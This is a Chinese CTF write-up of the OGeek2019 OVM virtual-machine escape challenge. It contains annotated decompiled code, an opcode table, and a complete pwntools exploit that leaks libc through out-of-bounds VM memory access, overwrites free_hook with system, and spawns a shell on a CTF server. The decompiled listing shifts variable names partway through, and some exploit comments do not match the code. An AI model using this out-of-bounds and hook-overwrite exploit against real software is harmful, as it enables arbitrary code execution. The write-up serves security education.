VMpwn-虚拟机逃逸

参考资料：https://xz.aliyun.com/news/15722

https://zikh26.github.io/posts/ccd7886.html#ciscn-2019-qual-virtual

在学习 VMpwn 之前，建议学一学虚拟机逆向，这两个关联是很大的。VMpwn 一般代指在程序中实现运算指令来模拟程序的运行（汇编类）或者在程序中自定义运算指令的程序（编译类）。

[OGeek2019 Final]OVM

1774348386009-a2f7424e-118c-4241-93cf-6203631a8c01.png

首先看一下题目主体吧：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
int __fastcall main(int argc, const char **argv, const char **envp)
{
    unsigned __int16 v4; // [rsp+2h] [rbp-Eh] BYREF
    unsigned __int16 v5; // [rsp+4h] [rbp-Ch] BYREF
    unsigned __int16 v6; // [rsp+6h] [rbp-Ah] BYREF
    unsigned int v7; // [rsp+8h] [rbp-8h]
    int i; // [rsp+Ch] [rbp-4h]

    comment = malloc(0x8Cu);
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    signal(2, signal_handler);

"""
signal(2, signal_handler)，这一行代码是注册信号处理器的操作
当用户按下 Ctrl+C 发送 SIGINT 信号时，
不是直接终止程序，而是执行自定义的信号处理函数 signal_handler
"""

    write(1, "WELCOME TO OVM PWN\n", 0x16u);
    write(1, "PC: ", 4u);
    _isoc99_scanf("%hd", &v5);
    getchar();
    write(1, "SP: ", 4u);
    _isoc99_scanf("%hd", &v6);
    getchar();
    unk_242094 = v6;
    unk_24209C = v5;

    write(1, "CODE SIZE: ", 0xBu); 
    _isoc99_scanf("%hd", &v4);
    getchar();
    if ( v6 + (unsigned int)v4 > 0x10000 || !v4 )
    {
        write(1, "EXCEPTION\n", 0xAu);
        exit(155);
    }

"""
首先程序申请了一块堆空间，程序结束的时候可以往里面输入东西，然后将其释放掉。
随后询问了PC和SP寄存器的值(所谓的寄存器就是在bss段上开辟的一片数组)，
而pc和sp在这道题里没有任何用，接着要我们要输入指令的个数。
"""

    write(1, "CODE: ", 6u);       # 提示用户输入代码内容
    running = 1;                  # 设置运行标志位为1，启动虚拟机
    for ( i = 0; v4 > i; ++i )    # 循环次数为用户输入的v4
    {
        _isoc99_scanf("%d", &memory[v5 + i]);
        if ( (memory[i + v5] & 0xFF000000) == 0xFF000000 ) 
            memory[i + v5] = 0xE0000000;
        getchar();
    }
"""
这里就是限定32位数据的高8bit位一定要有数据，否则默认为0xE0000000
"""

    while ( running )
    {
        v7 = fetch(); # 读取当前PC指令，然后PC指令+1
        execute(v7);  # 执行指令(实现虚拟机指令集的操作)
    }
"""
__int64 fetch()
{
  int v0; // eax

  v0 = unk_24209C++;
  return (unsigned int)memory[v0];
}
"""

    write(1, "HOW DO YOU FEEL AT OVM?\n", 0x1Bu);
    read(0, comment, 0x8Cu);
    sendcomment(comment);

"""
void __fastcall sendcomment(void *comment)
{
  free(comment);
}
"""

    write(1, "Bye\n", 4u);
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
ssize_t __fastcall execute(int a1)
{
    ssize_t p_reg; // rax             rax用于储存结果
    unsigned __int8 v2; // [rsp+18h] [rbp-8h] 第一个操作数寄存器编号(低四位)
    unsigned __int8 v3; // [rsp+19h] [rbp-7h] 第二个操作数寄存器编号(中间四位)
    unsigned __int8 v4; // [rsp+1Ah] [rbp-6h] 目标寄存器编号(高四位)
    int n15; // [rsp+1Ch] [rbp-4h]

    // 提取寄存器编号字段
    v4 = (a1 & 0xF0000u) >> 16;
    v3 = (unsigned __int16)(a1 & 0xF00) >> 8;
    v2 = a1 & 0xF;
    p_reg = HIBYTE(a1);

    // 操作码位0x70 (ADD指令)
    if ( HIBYTE(a1) == 0x70 )     // 如果高字节操作码是0x70，则执行加法指令
    {
        p_reg = (ssize_t)reg;
        reg[v4] = reg[v2] + reg[v3];    // v4是目标寄存器 = v2 + v3
        return p_reg;                   // 返回执行结果
    }

    // 操作码大于0x70的指令
    if ( HIBYTE(a1) > 0x70u )
    {
        // 操作码位0xB0 (XOR指令)
        if ( HIBYTE(a1) == 0xB0)
        {
            p_reg = (ssize_t)reg;
            reg[v4] = reg[v2] ^ reg[v3]; // v4 = v2 ^ v3
            return p_reg;
        }
        // 大于0xB0的操作码
        if ( HIBYTE(a1) > 0xB0u )
        {
            // 操作码位0xD0(位运算 >> 指令)
            if ( HIBYTE(a1) ==0xD0 )
            {
                p_reg = (ssize_t)reg;
                reg[v4] = reg[v3] >> reg[v2]; // v4 = v3 >> v2
                return p_reg;
            }
            // 操作码大于0xD0
            if ( HIBYTE(a1) > 0xD0u )
            {
                // 操作码为0xE0(Exit指令)
                if ( HIBYTE(a1) == 0xE0)
                {
                    running = 0;          // 虚拟机停止运行
                    if ( !unk_242094 )    // 如果unk_242094为0，打印退出信息
                        return write(1, "EXIT\n", 5u);
                }
                // 如果不是 HALT 指令，直接返回。
                else if ( HIBYTE(a1) != 255 )
                {
                    return p_reg;
                }
                // 操作码为0xFF(HALT指令)
                running = 0;              // 停止虚拟机运行
                // 打印所有寄存器的值
                for ( n15 = 0; n15 <= 15; ++n15 )
                    printf("R%d: %X\n", n15, reg[n15]);  
                return write(1, "HALT\n", 5u);     // 输出 HALT 信息。
            }
            // 操作码为0xC0(位运算 << 指令)
            else if ( HIBYTE(a1) == 0xC0 )
            {
                p_reg = (ssize_t)reg;
                reg[v4] = reg[v3] << reg[v2];  // v4 = v3 << v2
            }
        }
        else
        {
            // 一些基于操作码的按位操作指令
            switch ( HIBYTE(a1) )
            {
                case 0x90u:                   // AND 按位与
                    p_reg = (ssize_t)reg;
                    reg[v4] = reg[v2] & reg[v3];
                    break;
                case 0xA0u:                   // OR 按位或
                    p_reg = (ssize_t)reg;
                    reg[v4] = reg[v2] | reg[v3];
                    break;
                case 0x80u:                   // SUB 减法
                    p_reg = (ssize_t)reg;
                    reg[v4] = reg[v3] - reg[v2];
                    break;
            }
        }
    }
    // 操作码为0x30 (LOAD指令)
    else if ( HIBYTE(a1) == 0x30 )
    {
        p_reg = (ssize_t)reg;
        reg[v4] = memory[reg[v2]];  // 将内存地址 reg[v2] 的值加载到寄存器 v4, 漏洞点
    }
    // 操作码介于 0x31 和 0x3F 的指令
    else if ( HIBYTE(a1) > 0x30u )
    {
        switch ( HIBYTE(a1) )
        {
            case 'P':                               // PUSH 指令
                LODWORD(p_reg) = unk_242094++;      // 获取栈指针 reg[13]
                p_reg = (int)p_reg;
                stack[(int)p_reg] = reg[v4];        // 将寄存器 v4 的值压入栈
                break;
            case '`':                               // POP 指令
                --unk_242094;                       // 栈指针减 1
                p_reg = (ssize_t)reg;
                reg[v4] = stack[unk_242094];        // 将栈顶值弹出到寄存器 v4
                break;
            case '@':                               // STORE 指令
                p_reg = (ssize_t)memory;
                memory[reg[v2]] = reg[v4];          // 将寄存器 v4 的值存入内存地址 reg[v2]。漏洞点
                break;
        }
    }
  // 操作码为 0x10（LOAD_IMM 指令）
  else if ( HIBYTE(opcode) == 16 )
  {
    result = (ssize_t)reg;
    reg[v4] = (unsigned __int8)opcode;      // 将立即值存储到寄存器 v4。
  }

  // 操作码为 0x20（TEST_ZERO 指令）
  else if ( HIBYTE(opcode) == 32 )
  {
    result = (ssize_t)reg;
    reg[v4] = (_BYTE)opcode == 0;           // 如果立即值为 0，将 1 存储到寄存器 v4，否则存储 0。
  }

  return result;                            // 返回结果。
}

这段代码从 opcode 中提取了三部分信息，分别是 v4、v3 和 v2，它们通常对应于虚拟机指令集的目标寄存器、第二操作数寄存器、和第一操作数寄存器。这些位的提取通常遵循特定的指令编码规范。

1
2
| 高 8 位 操作码 | 次高 4 位 目标寄存器 | 次低 4 位 源寄存器1   | 最低 4 位 源寄存器2/立即数 |
|     24-31     |       20-23         |       12-15         |           0-3            |

字段解释

  1. 操作码（高 8 位）：
    • 使用 HIBYTE(opcode) 提取，即 (opcode >> 8) & 0xFF。
    • 决定指令的类型，例如 ADD、SHL、LOAD 等。
  2. 目标寄存器（次高 4 位，v4）：
    • 提取 (opcode & 0xF0000u) >> 16。
    • 表示操作的结果将存储在哪个寄存器中。
  3. 源寄存器1（次低 4 位，v3）：
    • 提取 (opcode & 0xF00) >> 8。
    • 表示第一个操作数来源的寄存器。
  4. 源寄存器2或立即数（最低 4 位，v2 ）：
    • 提取 opcode & 0xF。
    • 表示第二个操作数来源的寄存器，或直接是一个 4 位的立即数。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
mov reg, op     0x10 : reg[dest] = op
mov reg, 0      0x20 : reg[dest] = 0
mov mem, reg    0x30 : reg[dest] = memory[reg[src2]]
mov reg, mem    0x40 : memory[reg[src2]] = reg[dest]
push reg    0x50 : stack[result] = reg[dest]
pop reg     0x60 : reg[dest] = stack[reg[13]]
add         0x70 : reg[dest] = reg[src2] + reg[src1]
sub         0x80 : reg[dest] = reg[src1] - reg[src2]
and         0x90 : reg[dest] = reg[src2] & reg[src1]
or          0xA0 : reg[dest] = reg[src2] | reg[src1]
^           0xB0 : reg[dest] = reg[src2] ^ reg[src1]
left        0xC0 : reg[dest] = reg[src1] << reg[src2]
right       0xD0 : reg[dest] = reg[src1] >> reg[src2]
0xFF : (exit or print) if(reg[13] != 0) print oper
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
context.log_level='debug'
p = remote('node5.buuoj.cn',28423)

p.sendlineafter("PC: ",str(0x1111))
p.sendlineafter("SP: ",str(0x1111))
p.sendlineafter("CODE SIZE: ",str(18))


def opcode(op,high,medium,low):
    payload=(op<<24)+(high<<16)+(medium<<8)+(low)
    sleep(0.1)
    p.sendline(str(payload))

p.recvuntil("CODE: ")
#create a stderr address in reg array
opcode(0x10,0,0,26)     #mov reg[0],26
opcode(0x80,2,1,0)      #reg[2]=reg[1]-reg[0]
opcode(0x30,4,0,2)      #mov reg[4],memory[reg[2]]
opcode(0x10,0,0,25)     #mov reg[0],25
opcode(0x80,2,1,0)      #reg[2]=reg[1]-reg[0]
opcode(0x30,5,0,2)      #mov reg[5],memory[reg[2]]       reg[4][5]--->stderr address

#create free_hook address through stderr address
opcode(0x10,2,0,0x10)     #mov reg[2],0x10
opcode(0x10,0,0,8)      #mov reg[0],8
opcode(0xc0,1,2,0)      #reg[1]=sal reg[2],8

opcode(0x10,2,0,0xa0)   #mov reg[2],0xa0
opcode(0x70,1,1,2)      #add reg[1],reg[2]
opcode(0x70,4,4,1)      #add reg[4],reg[1]              reg[4][5]--->free_hook address-8

debug(p,'pie',0xD39)
#let pointer comment point to free_hook
opcode(0x10,0,0,0x8)     #mov reg[0],8
opcode(0x80,2,7,0)      #reg[2]=reg[7]-reg[0]
opcode(0x40,4,0,2)      #mov memory[reg[2]],reg[4]
opcode(0x10,0,0,0x7)     #mov reg[a0],9
opcode(0x80,2,7,0)      #reg[2]=reg[7]-reg[0]
opcode(0x40,5,0,2)      #mov memory[reg[2]],reg[5]

p.recvuntil("R4: ")
addr1=int(p.recv(8),16)
p.recvuntil("R5: ")
addr2=int(p.recv(4),16)
sys_addr=addr1+((addr2)<<32)-0x381410
# log_addr('sys_addr')
p.sendafter("HOW DO YOU FEEL AT OVM?\n",b'/bin/sh\x00'+p64(sys_addr))
p.interactive()


更新: 2026-03-24 19:35:52
原文: https://www.yuque.com/idcm/wnemg9/wwlob0m3dp8ycx7u